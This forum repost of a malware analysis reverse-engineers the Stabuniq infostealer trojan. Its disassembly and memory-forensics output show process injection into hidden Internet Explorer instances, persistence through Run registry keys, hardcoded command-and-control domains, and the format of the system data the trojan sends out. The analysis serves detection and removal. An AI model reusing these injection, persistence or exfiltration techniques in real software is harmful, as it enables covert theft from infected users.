Nytro Posted January 2, 2013 Report Posted January 2, 2013 (edited) Stabuniq Financial Infostealer Trojan AnalysisJanuary 2, 2013 By EvilcryAccording to Symantec, Stabuniq is a financial infostealer trojan which has been found on servers belonging to financial institutions, including banking firms and credit unions. The Trojan also compromised home computer users and computers at security firms. Targets sounds interesting, so here at UIC R.E.Academy we decided to take an in depth look to this trojan by adopting a classical Reverse Engineering approach. Binary Geometry The sample we are going to reverse could be downloaded from Contagiodump and presents the following basic characteristics: MD5: F31B797831B36A4877AA0FD173A7A4A2SHA1: 17DB1BBAA1BF1B920E47B28C3050CBFF83AB16DEFileSize: 77.50 KB (79360 bytes) The executable is detected as belonging to: Microsoft Visual C++ 6.0 First Inspection First inspection is done, as you know, by observing the binary from a disassembler perspective in order to understand the structure of the code that we are going to analyse and successively getting our hands directly into the assembly. Let’s take a first look to the Call Flow of Stabuinq: The picture clearly shows that the points of major interest are:WinMain (obvious) sub_40F400 due to the presence of interesting API calls like CreateProcessW and SetThreadContext Once we have a clear idea of what are the core points of our binary we can switch to a dynamic approach, by using a debugger, in order to understand how the code works.Additionally it’s interesting to observe that there is a lack of indicative strings, this means that this executable is probably packed and/or containts a secondary executable that is decoded and dropped at runtime. Debugging and carving the second Stabuniq executable As previously observed WinMain is our starting point, in this case the call is located as follows:.text:0040F63E loc_40F63E: ; CODE XREF: start+C9j.text:0040F63E push eax ; nShowCmd.text:0040F63F push [ebp+lpCmdLine] ; lpCmdLine.text:0040F642 push esi ; hPrevInstance.text:0040F643 push esi ; lpModuleName.text:0040F644 call ds:GetModuleHandleA.text:0040F64A push eax ; hInstance.text:0040F64B call _WinMain@16 ; WinMain(x,x,x,x).text:0040F650 mov [ebp+var_60], eax.text:0040F653 push eax ; Code.text:0040F654 call _exit.text:0040F654 start endpLet’s move inside WinMain now:0040F3C5 PUSH 208 ; /Count = 520.0040F3CA PUSH EDX ; |Buffer0040F3CB PUSH 0 ; |hModule = NULL0040F3CD CALL <&KERNEL32.GetModuleFilenameW>0040F3D3 CALL 0040F2D0 ; stabuniq.0040F2D00040F3D8 LEA EAX,[LOCAL.129]0040F3DC PUSH ESI0040F3DD PUSH EAX0040F3DE CALL 0040F400 ; call observed in0040F3E3 ADD ESP,8 ; the call flow0040F3E6 XOR EAX,EAX0040F3E8 POP EDI0040F3E9 POP ESI0040F3EA ADD ESP,2300040F3F0 RETN 10At address 0040F3DE we have CALL 0040F400, that as you should remember from the previously seen call flow, contains some interesting point of investigation.0040F44C PUSH OFFSET 00414F80 ; /pProcessInformation = 414F800040F451 PUSH OFFSET 004145F0 ; |pStartupInfo = 4145F00040F456 PUSH 0 ; |CurrentDirectory = NULL0040F458 PUSH 0 ; |pEnvironment = NULL0040F45A PUSH 4 ; |CreationFlags = CREATE_SUSPENDED0040F45C PUSH 0 ; |InheritHandles = FALSE0040F45E PUSH 0 ; |pThreadSecurity = NULL0040F460 PUSH 0 ; |pProcessSecurity = NULL0040F462 MOV EBP,EAX ; |0040F464 CALL DWORD PTR DS:[<GetCommandLineW>]0040F46A MOV ECX,DWORD PTR SS:[ARG.1] 0040F46E PUSH EAX ; |CommandLine0040F46F PUSH ECX ; |ApplicationName => [ARG.1]0040F470 CALL [<CreateProcessW>] ; \KERNEL32.CreateProcessWA new process is created with CREATE_SUSPENDED flag, in this way our binary could drop in the suspended process blocks of decrypted code and once memory filling is completed, via ResumeThread API call, the malicous process will execute the new dropped code. A little bit after we have0040F48F PUSH 40 ; PAGE_EXECUTE_READWRITE0040F491 PUSH 3000 ; MEM_COMMIT|MEM_RESERVE0040F496 PUSH ECX0040F497 PUSH EDX0040F498 PUSH EAX0040F499 CALL DWORD PTR DS:[414F54] ; VirtualAllocExPAGE_EXECUTE_READWRITE flag is often a very interesting point because this is a typical element which clearly indicates that a block of executable code is placed in the selected memory area. The picture below show the content of the PAGE_EXECUTE_READWRITE memory block: As you can see we have a PE structure in memory but a double MZ stub, we can now dump the buffer and resize the file in order to eliminate the first MZ stub by cutting from the buffer start to the second ‘M’. Our original executable now will transfer this code into the newly created process via WriteProcessMemory and finally via ResumeThread the secondary process is executed. Preliminary Analysis via Volatility We can now proceed with the analysis: the next step will be to run the unpacked version of Stabuniq and analyze the memory through Volatility in order to get a better understanding of what’s happening behind the curtains.vol.exe pslist -f stabuniq.vmemVolatile Systems Volatility Framework 2.1Offset(V) Name PID PPID Thds Hnds Sess Wow64 Start Exit———- ——————– —— —— —— ——– —— —— ——————– ——————–0x825c87c0 System 4 0 55 345 —— 00x824873e8 smss.exe 368 4 3 19 —— 0 2012-12-21 14:24:43…….0x82061b10 wuauclt.exe 1200 1024 11 659 0 0 2012-12-21 14:26:070x8202b1a8 iexplore.exe 3408 3104 9 157 0 0 2012-12-21 14:27:420x820983c8 iexplore.exe 3428 3408 3 35 0 0 2012-12-21 14:27:43We can clearly see a couple instances of Internet Explorer launched from a process that’s not in the list (PPID 3104) they most probably are shadow IE instances, invisible to the user. Let’s dig a bit deeper to find out if there’s any outgoing connection:vol.exe connscan -f stabuniq.vmemVolatile Systems Volatility Framework 2.1Offset(P) Local Address Remote Address Pid———- ————————- ————————- —0×02029168 192.168.45.33:1093 75.102.25.76:80 3408….Our shadow instance of IE attempted a connection on port 80 to 75.102.25.76 which translates to ns2.mktdns.com.br. It appears to be a DNS with a webserver configured. It’s time to check for injected code into both the instances: vol.exe malfind -p 3408 -f stabuniq.vmem Process: iexplore.exe Pid: 3408 Address: 0×160000 Vad Tag: VadS Protection: PAGE_EXECUTE_READWRITE Flags: CommitCharge: 7, MemCommit: 1, PrivateMemory: 1, Protection: 6 0×160000 55 PUSH EBP 0×160001 8bec MOV EBP, ESP 0×160003 83ec14 SUB ESP, 0×14 0×160006 53 PUSH EBX 0×160007 56 PUSH ESI 0×160008 57 PUSH EDI 0×160009 e800000000 CALL 0x16000e 0x16000e 5b POP EBX 0x16000f 81eb6e2b4000 SUB EBX, 0x402b6e 0×160015 895dfc MOV [EBP-0x4], EBX 0×160018 8b4508 MOV EAX, [EBP+0x8] 0x16001b 8b4dfc MOV ECX, [EBP-0x4] 0x16001e 898814020000 MOV [EAX+0x214], ECX 0×160024 c745f400000000 MOV DWORD [EBP-0xc], 0×0 0x16002b 8b55f4 MOV EDX, [EBP-0xc] 0x16002e 6bd228 IMUL EDX, EDX, 0×28 0×160031 8b4508 MOV EAX, [EBP+0x8] 0×160034 33c9 XOR ECX, ECX 0×160036 668b8c1032120000 MOV CX, [EAX+EDX+0x1232] 0x16003e 85c9 TEST ECX, ECX vol.exe malfind -p 3428 -f TEST-d46942a3.vmem Process: iexplore.exe Pid: 3428 Address: 0×160000 Vad Tag: VadS Protection: PAGE_EXECUTE_READWRITE Flags: CommitCharge: 7, MemCommit: 1, PrivateMemory: 1, Protection: 6 0×160000 55 PUSH EBP 0×160001 8bec MOV EBP, ESP 0×160003 83ec14 SUB ESP, 0×14 0×160006 53 PUSH EBX 0×160007 56 PUSH ESI 0×160008 57 PUSH EDI 0×160009 e800000000 CALL 0x16000e 0x16000e 5b POP EBX 0x16000f 81eb6e2b4000 SUB EBX, 0x402b6e 0×160015 895dfc MOV [EBP-0x4], EBX 0×160018 8b4508 MOV EAX, [EBP+0x8] 0x16001b 8b4dfc MOV ECX, [EBP-0x4] 0x16001e 898814020000 MOV [EAX+0x214], ECX 0×160024 c745f400000000 MOV DWORD [EBP-0xc], 0×0 0x16002b 8b55f4 MOV EDX, [EBP-0xc] 0x16002e 6bd228 IMUL EDX, EDX, 0×28 0×160031 8b4508 MOV EAX, [EBP+0x8] 0×160034 33c9 XOR ECX, ECX 0×160036 668b8c1032120000 MOV CX, [EAX+EDX+0x1232] 0x16003e 85c9 TEST ECX, ECXWe can confirm that both the instances have some, identical, injected code. Let’s check the registry hive: vol.exe -f stabuniq.vmem printkey -K “Software\Microsoft\Windows\CurrentVersion\Run” Volatile Systems Volatility Framework 2.1 Legend: (S) = Stable (V) = Volatile … Registry: \Device\HarddiskVolume1\WINDOWS\system32\config\default Key name: Run (S) Last updated: 2012-12-28 10:14:34 Subkeys: Values: … REG_SZ 2ee3cb67-8ecb-4af7-965a-ac0a4dcc1ed9 : (S) C:\Programmi\ComPlus Applications\Uninstall\smagent.exeApparently the startup method is pretty straightforward, a random GUID pointing to the trojan’s executable. Let’s now switch to dynamic analysis to better understand what’s going on. Dynamic Analysis of the Main Module Right at the beginning of the unpacked executable’s WinMain() procedure we find:.text:00401788 push 10000 ; dwMilliseconds.text:0040178D call ds:Sleeppossibly a simple trick to fool Sandbox analysis software. We can safely patch it and proceed..text:004018FD push offset Name ; "StabilityMutexString".text:00401902 push 0 ; bInitialOwner.text:00401904 push 0 ; lpMutexAttributes.text:00401906 call ds:CreateMutexW.text:0040190C mov [ebp+var_241C], eax.text:00401912 call ds:GetLastError.text:00401918 cmp eax, 0B7h ; ERROR_ALREADY_EXISTSNext a mutex called “StabilityMutexString” is created to ensure that only a single instance of this malware is running. If the mutex is found the application stops calling ExitProcess(). After this check several strings are initialized and all the APIs required by the malware are resolved through GetProcAddress() from this routine:.text:00402AD3 getProcsFromLib proc near ; CODE XREF: WinMain(x,x,x,x)+639p.text:00402AD3 ; WinMain(x,x,x,x)+649p ....text:00402AD3.text:00402AD3 hModule = dword ptr -4.text:00402AD3 proc = dword ptr 8.text:00402AD3 lpLibFileName = dword ptr 0Ch.text:00402AD3.text:00402AD3 push ebp.text:00402AD4 mov ebp, esp.text:00402AD6 push ecx.text:00402AD7 mov eax, [ebp+lpLibFileName].text:00402ADA push eax ; lpLibFileName.text:00402ADB call ds:LoadLibraryW.text:00402AE1 mov [ebp+hModule], eax.text:00402AE4.text:00402AE4 loc_402AE4: ; CODE XREF: getProcsFromLib+49j.text:00402AE4 mov ecx, [ebp+proc].text:00402AE7 cmp dword ptr [ecx], 0.text:00402AEA jz short loc_402B1E.text:00402AEC mov edx, [ebp+proc].text:00402AEF mov eax, [edx].text:00402AF1 push eax ; lpProcName.text:00402AF2 mov ecx, [ebp+hModule].text:00402AF5 push ecx ; hModule.text:00402AF6 call ds:GetProcAddress.text:00402AFC mov edx, ptr_proc.text:00402B02 mov [edx], eax.text:00402B04 mov eax, [ebp+proc].text:00402B07 add eax, 4.text:00402B0A mov [ebp+proc], eax.text:00402B0D mov ecx, ptr_proc.text:00402B13 add ecx, 4.text:00402B16 mov ptr_proc, ecx.text:00402B1C jmp short loc_402AE4.text:00402B1E ; ---------------------------------------------------------------------------.text:00402B1E.text:00402B1E loc_402B1E: ; CODE XREF: getProcsFromLib+17j.text:00402B1E mov esp, ebp.text:00402B20 pop ebp.text:00402B21 retn 8.text:00402B21 getProcsFromLib endpWhat’s going on here? The first parameter is a NULL-terminated array containing all the functions that needs to be retrieved, the second parameter is the library that the malware wants to query. Each API is resolved and put back into an external buffer. This is the list of all APIs requested:0012D8F8 778F69B8 ntdll.ZwUnmapViewOfSection0012D8FC 779653D5 ntdll.RtlDecompressBuffer0012D900 7645EF42 kernel32.LoadLibraryW0012D904 7641204D RETURN to kernel32.CreateProcessW0012D908 7644C7CB kernel32.VirtualAllocEx0012D90C 7647959F RETURN to kernel32.WriteProcessMemory0012D910 7649FAEB kernel32.CreateRemoteThread0012D914 7645E868 kernel32.CloseHandle0012D918 7645A671 kernel32.lstrcatA0012D91C 764766BC RETURN to kernel32.lstrcatW0012D920 7645E8A5 kernel32.CreateFileW0012D924 7645086B kernel32.GetFileSize0012D928 7645A5FF kernel32.lstrcpyA0012D92C 7644910F kernel32.lstrcpyW0012D930 76446B3F kernel32.CopyFileW0012D934 7644B333 kernel32.SetFileAttributesW0012D938 7645A07A kernel32.lstrlenA0012D93C 7645BDE8 kernel32.lstrlenW0012D940 7646BBE2 kernel32.ExitProcess0012D944 7645C3F0 RETURN to kernel32.SetLastError0012D948 7645CDE0 kernel32.GetLastError0012D94C 7645D7BC kernel32.CreateEventW0012D950 7645C2B0 kernel32.WaitForSingleObject0012D954 7645C280 kernel32.GetTickCount0012D958 7645FCDD kernel32.GetProcessHeap0012D95C 76477B43 kernel32.LockFile0012D960 77902D66 ntdll.RtlAllocateHeap0012D964 76459BAE kernel32.ReadFile0012D968 76446F51 kernel32.FindFirstChangeNotificationW0012D96C 76448C9B kernel32.FindCloseChangeNotification0012D970 764599D1 kernel32.CreateDirectoryW0012D974 764653EE kernel32.WriteFile0012D978 7645DCC2 RETURN to kernel32.CreateThread0012D97C 7646BC01 kernel32.TerminateThread0012D980 76451254 kernel32.CreateFileMappingW0012D984 764650EA kernel32.OpenFileMappingW0012D988 76459423 kernel32.MapViewOfFile0012D98C 764533D6 kernel32.CreateMutexW0012D990 7645D7D4 kernel32.CreateMutexA0012D994 7645C266 kernel32.Sleep0012D998 7644777D kernel32.GetProcessVersion0012D99C 76477928 RETURN to kernel32.lstrcpynW0012D9A0 7644C4A3 kernel32.GetNativeSystemInfo0012D9A4 7645C3C0 kernel32.HeapFree0012D9A8 7645EEFA kernel32.WideCharToMultiByte0012D9AC 7644FD29 kernel32.CreateToolhelp32Snapshot0012D9B0 764761ED kernel32.Process32First0012D9B4 764762B5 kernel32.Process32Next0012D9B8 764554E7 kernel32.OpenProcess0012D9BC 7645EF35 kernel32.GetModuleFileNameW0012D9C0 7645EF07 kernel32.MultiByteToWideChar0012D9C4 76478BD4 RETURN to kernel32.GetThreadContext0012D9C8 764A08C3 kernel32.SetThreadContext0012D9CC 7645171F kernel32.ResumeThread0012D9D0 76478BF9 kernel32.SuspendThread0012D9D4 76452C05 kernel32.TerminateProcess0012D9D8 7645CC94 kernel32.GetProcAddress0012D9DC 7645DC65 kernel32.LoadLibraryA0012D9E0 7645D8F3 kernel32.GetModuleHandleA0012D9E4 7645C43A kernel32.VirtualAlloc0012D9E8 76466B15 kernel32.VirtualFree0012D9EC 76452B1D kernel32.lstrcmpiA0012D9F0 7645F6B4 kernel32.HeapSetInformation0012D9F4 76465321 kernel32.lstrcmpW0012D9F8 76466BEE kernel32.SetCurrentDirectoryW0012D9FC 7645EA61 RETURN to kernel32.CreateFileA0012DA00 76445B82 kernel32.CreateMailslotA0012DA04 7649D585 kernel32.GetMailslotInfo0012DA08 7645C452 kernel32.InterlockedExchange0012DA0C 76452C15 RETURN to kernel32.VirtualProtect0012DA10 764712A6 kernel32.CreatePipe0012DA14 76448DB0 kernel32.SetHandleInformation0012DA18 7649FE7B kernel32.PeekNamedPipe0012DA1C 7646404C kernel32.FindFirstFileW0012DA20 76459B96 kernel32.FindNextFileW0012DA24 76464C24 RETURN to kernel32.FindClose0012DA28 764459BA kernel32.RemoveDirectoryW0012DA2C 76A35728 SHELL32.SHGetFolderPathW0012DA30 766A40FE ADVAPI32.RegCreateKeyExW0012DA34 766A468D ADVAPI32.RegOpenKeyExW0012DA38 766A46AD ADVAPI32.RegQueryValueExW0012DA3C 766A469D ADVAPI32.RegCloseKey0012DA40 766A14D6 ADVAPI32.RegSetValueExW0012DA44 7669E15B ADVAPI32.RegNotifyChangeKeyValue0012DA48 7669CC15 ADVAPI32.RegOpenKeyA0012DA4C 766BA299 RETURN to ADVAPI32.RegEnumKeyA0012DA50 766A48EF ADVAPI32.RegQueryValueExA0012DA54 766A14B3 ADVAPI32.RegSetValueExA0012DA58 777B3EF0 SHLWAPI.StrRChrW0012DA5C 777DE908 SHLWAPI.StrNCatW0012DA60 777CC57C SHLWAPI.StrCmpNA0012DA64 777CC45B SHLWAPI.StrStrA0012DA68 777AC5E6 SHLWAPI.StrChrA0012DA6C 777CCD65 SHLWAPI.StrToIntA0012DA70 75F2D5E8 WININET.InternetOpenA0012DA74 75F3E1C6 WININET.InternetOpenUrlA0012DA78 75F4567E WININET.InternetConnectA0012DA7C 75F45761 WININET.HttpOpenRequestA0012DA80 75F7525A RETURN to WININET.HttpSendRequestA0012DA84 75F1C664 WININET.InternetCloseHandle0012DA88 75FC03F3 WININET.InternetSetCookieA0012DA8C 75FC03D2 RETURN to WININET.InternetGetCookieA0012DA90 75F197DF WININET.InternetSetOptionA0012DA94 75F1F8D8 WININET.InternetReadFile0012DA98 7693EA11 USER32.MessageBoxA0012DA9C 768F3F47 USER32.wsprintfA0012DAA0 768F3834 USER32.GetLastInputInfo0012DAA4 75D42D8B ws2_32.ntohs0012DAA8 75D4311B ws2_32.inet_addr0012DAAC 75D43EB8 RETURN to ws2_32.socket0012DAB0 75D46BDD ws2_32.connect0012DAB4 75D43918 ws2_32.closesocket0012DAB8 75D43AB2 ws2_32.WSAStartup0012DABC 75D43C5F ws2_32.WSACleanup0012DAC0 77AD15BC psapi.GetModuleFileNameExAThe APIs, together with the list of URLs to contact, installations paths and possible executable names are copied inside a big array of data that will later be accessed by the injected threads. Before spawning the shadow copy of IE, Stabuniq constructs a request that will be sent to the C&C server, composed like this (in my case):id=127.0.0.1&varname=User44353&comp=PC-44353&ver=Windows 7&src=32Bit&sec=0&view=OllyDbg.exe – explorer.exe – svchost.exe…&dat=page=C:\Users\User44353\Desktop\stabuniq.exe&response= &val=yvuufxrryrdrbxkvfnvtfhufkxpkukkruniyqbcvdursioct&up=eylqcosslqmpjnexat the same time every value is scrambled with a function called at 0x00408336of our uncompressed executable, the obfuscation can be easily reversed if needed. Finally the function in charge of injecting a thread into IE is called in a loop:createPostRequest(postRequest, "OK");while (1) { if(createRemoteIEThread(&postReq) != 1) break; Sleep(6000);}Threads Analysis Stabuniq launches iexplore.exe with the CREATE_SUSPENDED flag:.text:004080B6 push 0.text:004080B8 push 0.text:004080BA push 4.text:004080BC push 1.text:004080BE push 0.text:004080C0 push 0.text:004080C2 push 0.text:004080C4 mov ecx, [ebp+arg_0].text:004080C7 add ecx, 1FBEh.text:004080CD push ecx.text:004080CE mov edx, [ebp+arg_0].text:004080D1 call dword ptr [edx+18h] ; CreateProcessWThree different memory slots are allocated, after that everything is written in place using WriteProcessMemory(), in this order:POST request string API table Injected thread code (0x402b60) Following that the first thread is started from the main module:.text:0040821B push 0 ; lpThreadId.text:0040821D push 0 ; creation flags.text:0040821F mov ecx, [ebp+allocedThreadParam].text:00408222 push ecx ; lpParameter.text:00408223 mov edx, [ebp+vallocedMem].text:00408226 push edx ; start address 0x402b60.text:00408227 push 0 ; dwStackSize.text:00408229 push 0 ; lpThreadAttributes.text:0040822B mov eax, [ebp+var_10].text:0040822E push eax ; iexplore.exe handle.text:0040822F mov ecx, [ebp+arg_0].text:00408232 call dword ptr [ecx+24h] ; CreateRemoteThreadWe can take a look into the thread code from the disassembler, the only problem we’ll face here will be the APIs because they’re all called indirectly so we’ll have to manually reconstruct each pointer. First of all LoadLibrary() is called for every DLL that will be used by the thread:.text:00402BA2 mov edx, [ebp+zero].text:00402BA5 imul edx, 28h.text:00402BA8 mov eax, [ebp+heapPtr].text:00402BAB lea ecx, [eax+edx+1232h] ; Dll table.text:00402BB2 push ecx.text:00402BB3 mov edx, [ebp+heapPtr].text:00402BB6 call dword ptr [edx+14h] ; LoadLibraryWAfter that the process tries to create the “StabilityMutexString” mutex. Then it moves the original executable into the a new path:.text:00402C5E push 1000h.text:00402C63 push 0.text:00402C65 push 0.text:00402C67 push 6.text:00402C69 mov ecx, [ebp+var_14].text:00402C6C push ecx.text:00402C6D mov edx, [ebp+heapPtr].text:00402C70 call dword ptr [edx+9Ch] ; MapViewOfFileFollowing that all the required registry entries are created. Let’s take a brief look at them. Startup Method After running an instance of stabuniq.exe (or its dropper), the original executable is removed and copied in a location picked up from the following table:\Java Quick Starter \InstallShield Update Service Scheduler \SoundMax service agent \GrooveMonitor Utility \ComPlus Applications \AcroIE Helper Module The middle directory being one of these:\Update \Bin \Uninstall \Helper \Installer and the executable name being one of these:\jqs.exe \issch.exe \smagent.exe \acroiehelper.exe \groovemonitor.exe This directory tree is created right into “Program Files” directory, using a path randomly generated from the previous list. To ensure survival after a reboot several registry entries are added, from the disassembly we see that the first created is:.text:00407576 push eax.text:00407577 lea ecx, [ebp+var_C].text:0040757A push ecx.text:0040757B push 0.text:0040757D push 0F003Fh.text:00407582 push 0.text:00407584 push 0.text:00407586 push 0.text:00407588 mov edx, [ebp+arg_0].text:0040758B add edx, 1AB6h.text:00407591 push edx ; "Software\Stability Software".text:00407592 push 80000001h ; HKEY_CURRENT_USER.text:00407597 mov eax, [ebp+arg_0].text:0040759A call dword ptr [eax+144h] ; RegCreateKeyExWThat translates to the following key:HKEY_CURRENT_USER\Software\Stability Software\”Uniq” = <GUID> Where GUID is a a GUID-like id generated here:.text:00402B24 push ebp.text:00402B25 mov ebp, esp.text:00402B27 sub esp, 14h.text:00402B2A lea eax, [ebp+pguid].text:00402B2D push eax ; pguid.text:00402B2E call ds:CoCreateGuid.text:00402B34 lea ecx, [ebp+lpString2].text:00402B37 push ecx ; StringUuid.text:00402B38 lea edx, [ebp+pguid].text:00402B3B push edx ; Uuid.text:00402B3C call ds:UuidToStringW.text:00402B42 mov eax, [ebp+lpString2].text:00402B45 push eax ; lpString2.text:00402B46 mov ecx, [ebp+lpString1].text:00402B49 push ecx ; lpString1.text:00402B4A call ds:lstrcpyWThe GUID is used as a reference to start the main executable after adding three registry entries:.text:0040770E push eax ; Software\Microsoft\Windows\CurrentVersion\Run.text:0040770F push 80000002h.text:00407714 mov ecx, [ebp+arg_0].text:00407717 call dword ptr [ecx+148h] ; RegOpenKeyExW.text:00407747 push eax ; .DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Run.text:00407748 push 80000003h.text:0040774D mov ecx, [ebp+arg_0].text:00407750 call dword ptr [ecx+148h] ; RegOpenKeyExW.text:00407780 push eax ; Software\Microsoft\Windows\CurrentVersion\Run.text:00407781 push 80000001h.text:00407786 mov ecx, [ebp+arg_0].text:00407789 call dword ptr [ecx+148h] ; RegOpenKeyExWThis is the summary of all the entries added to the registry:HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run\”<GUID>” = “<file.exe>” HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\”<GUID>” = “<file.exe>” HKEY_USERS\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Run\”<GUID>” = “<file.exe>” No other startup methods seems to be used by this trojan. Three more threads The first thread takes care of the deletion of the main executable, moves it to the new path, creates any required registry entry, then it starts another instance of Internet Explorer and injects it with its own same code. Then three more thread are created. First Thread The first thread, located at: 0×00408008 uses the following routine to keep reinjecting Internet Explorer:.text:0040802B call dword ptr [eax+0ACh] ; GetProcessVersion.text:00408031 mov [ebp+var_8], eax.text:00408034 cmp [ebp+var_8], 0.text:00408038 jnz short loc_408071.text:0040803A mov [ebp+var_4], offset injectedThread....text:00408068 mov ecx, [ebp+arg_0].text:0040806B push ecx.text:0040806C call createRemoteIEThread.text:00408071.text:00408071 loc_408071: ; CODE XREF: threadReinjectIE+30j.text:00408071 push 1000.text:00408076 mov edx, [ebp+arg_0].text:00408079 call dword ptr [edx+0A8h] ; Sleep.text:0040807F jmp short loc_40800EThen three more threads are created, each one performing a different function. Second Thread The second thread is located at this address: 0×00407643, its main function is to keep creating the registry entries used to survive a reboot. Also any modification to these registry entries is monitored:.text:004077E6 mov eax, [ebp+var_10].text:004077E9 mov ecx, [ebp+eax*4+var_20].text:004077ED push ecx.text:004077EE mov edx, [ebp+arg_0].text:004077F1 call dword ptr [edx+158h] ; RegNotifyChangeKeyValue(TRUE, REG_NOTIFY_CHANGE_NAME|REG_NOTIFY_CHANGE_LAST_SET, 0x710, TRUE).text:004077F7 mov eax, [ebp+var_10]Third Thread The third thread is located at this address: 0x00407CE3, this thread monitors the path where the original executable was started for changes and then finds a suitable place into “Program Files” to drop a copy of the same binary..text:00407E43 push ecx.text:00407E44 push 1.text:00407E46 lea edx, [ebp+var_21C].text:00407E4C push edx.text:00407E4D mov eax, [ebp+arg_0].text:00407E50 call dword ptr [eax+7Ch] ; FindFirstChangeNotificationW("\\?\StartupPath", TRUE, FILE_NOTIFY_CHANGE_FILE_NAME|DIR_NAME|ATTRIBUTES|LAST_WRITE).text:00407E53 mov [ebp+var_10], eax.text:00407E56.text:00407E56 loc_407E56:.text:00407E56 mov ecx, 1.text:00407E5B test ecx, ecx.text:00407E5D jz loc_408002.text:00407E63 push 0FFFFFFFFh.text:00407E65 mov edx, [ebp+var_10].text:00407E68 push edx.text:00407E69 mov eax, [ebp+arg_0].text:00407E6C call dword ptr [eax+64h] ; WaitForSingleObject(handle, WAIT_FOREVER)C&C Communication Following the creation of every thread, the main one continues by creating a Mailslot and waiting forever on it:.text:00404442 push 0.text:00404444 push 0FFFFFFFFh.text:00404446 push 0.text:00404448 lea ecx, [ebp+var_128].text:0040444E push ecx.text:0040444F mov edx, [ebp+arg_0].text:00404452 call dword ptr [edx+114h] ; CreateMailslotA(\\.\Mailslot\GUID, 0, WAIT_FOREVER, NULL).text:00404458 mov ecx, [ebp+arg_0]Mailslots are normally used to setup a communication with a remote part. Mailslot’s name is the GUID created during the first stage of the infection, data on this slot is read just before the creation of the list of running processes:.text:00404533 push ecx.text:00404534 lea edx, [ebp+var_4].text:00404537 push edx.text:00404538 mov eax, [ebp+var_1C].text:0040453B push eax.text:0040453C mov ecx, [ebp+var_10].text:0040453F mov edx, [ecx].text:00404541 push edx.text:00404542 mov eax, [ebp+arg_0].text:00404545 mov ecx, [eax+1F8h].text:0040454B push ecx.text:0040454C mov edx, [ebp+arg_0].text:0040454F call dword ptr [edx+78h] ; ReadFile(hMailSlot, Buffer, size, ptr, NULL).text:00404552 push 0.text:00404554 lea eax, [ebp+var_34].text:00404557 push eax.text:00404558 lea ecx, [ebp+var_1C].text:0040455B push ecx.text:0040455C push 0.text:0040455E mov edx, [ebp+arg_0].text:00404561 mov eax, [edx+1F8h].text:00404567 push eax.text:00404568 mov ecx, [ebp+arg_0].text:0040456B call dword ptr [ecx+118h] ; GetMailSlotInfo()Right after the binary starts communicating with a couple of hardcoded URLs that, most probably, are the C&C servers:.data:0040E47C dd offset aSovereutilize ; "sovereutilizeignty.com".data:0040E480 dd offset aBenhomelandefi ; "benhomelandefit.com"We have been unable to find only two URLs:sovereutilizeignty.com benhomelandefit.com The page used to process the requests is the same for both domains:/rssnews.php We can easily inspect the request: POST request created by Stabuniq That’s created here:.text:00404267 push edx.text:00404268 mov eax, [ebp+arg_18].text:0040426B add eax, 0E64h.text:00404270 push eax.text:00404271 mov ecx, [ebp+arg_0].text:00404274 push ecx.text:00404275 mov edx, [ebp+arg_18].text:00404278 call dword ptr [edx+190h] ; HttpOpenRequestA(handle, "POST", "/rssnews.php")The response is then parsed, Stabuniq looks for a cookie:.text:00406053 call dword ptr [eax+1A0h] ; InternetGetCookieA("http://sovere.../rssnews.php", "response=").text:00406059 cmp [ebp+var_C], 1.text:0040605D ja short loc_406066.text:0040605F xor eax, eax....text:0040609B push eax.text:0040609C mov ecx, [ebp+var_8].text:0040609F push ecx.text:004060A0 mov edx, [ebp+arg_4].text:004060A3 add edx, 0E7Dh.text:004060A9 push edx.text:004060AA mov eax, [ebp+arg_0].text:004060AD push eax.text:004060AE mov ecx, [ebp+arg_4].text:004060B1 call dword ptr [ecx+1A0h] ; InternetGetCookieA("...", "response=")Here the trojan is checking for the presence of a cookie whose name is response=, the content is parsed and it is used to control the trojan’s behavior. During our analysis the domains used were already sinkholed, for this reason we can not reliably confirm what type of interaction the malware has over the infected system. It’s interesting to note however, that after processing the cookie information, details on user’s activity are acquired and sent to the C&C:.text:0040726B push ecx.text:0040726C mov edx, [ebp+arg_4].text:0040726F call dword ptr [edx+1B4h] ; GetLastInputInfo.text:00407275 mov eax, [ebp+arg_4].text:00407278 call dword ptr [eax+68h] ; GetTickCount.text:0040727B mov [ebp+ticks], eax.text:0040727E mov eax, [ebp+ticks].text:00407281 sub eax, [ebp+var_4].text:00407284 xor edx, edx.text:00407286 mov ecx, 1000 ; Convert to seconds.text:0040728B div ecx.text:0040728D mov [ebp+var_10], eax.text:00407290 mov edx, [ebp+var_10].text:00407293 push edx.text:00407294 mov eax, [ebp+arg_4].text:00407297 add eax, 260h.text:0040729C push eax.text:0040729D mov ecx, [ebp+arg_0].text:004072A0 push ecx.text:004072A1 mov edx, [ebp+arg_4].text:004072A4 call dword ptr [edx+1B0h] ; wsprintfA("%d")then the process list is updated and sent again to the C&C server. In our sample there are a few more strings, unreferenced, that might be an indication of stripped-out code used for different purposes and that might be used from future or different versions of Stabuniq:Store key in cache? (y/n) sshtest123 You gonna die like a bitch in the wolfs house. password: PortForwardings= -load muhaha -P Removal Instructions Removing this version of Stabuniq is quite easy:Start your task manager and kill any iexplore.exe process Open the windows registry, remove startup the entries mentioned above Reboot Remove the executable pointed by the startup strings in the registry Usually running an updated AV is a good option too… Just in case. Conclusions Stabuniq seems to be in a phase of information gathering, nevertheless it might become a real threat as soon as the author decides to change the behaviour of this trojan, if you have any update or just want to share something with us, please use the comment section below. Written by: Quequero & EvilcrySursa: http://quequero.org/2013/01/stabuniq-financial-infostealer-trojan-analysis/ Edited January 2, 2013 by Nytro Quote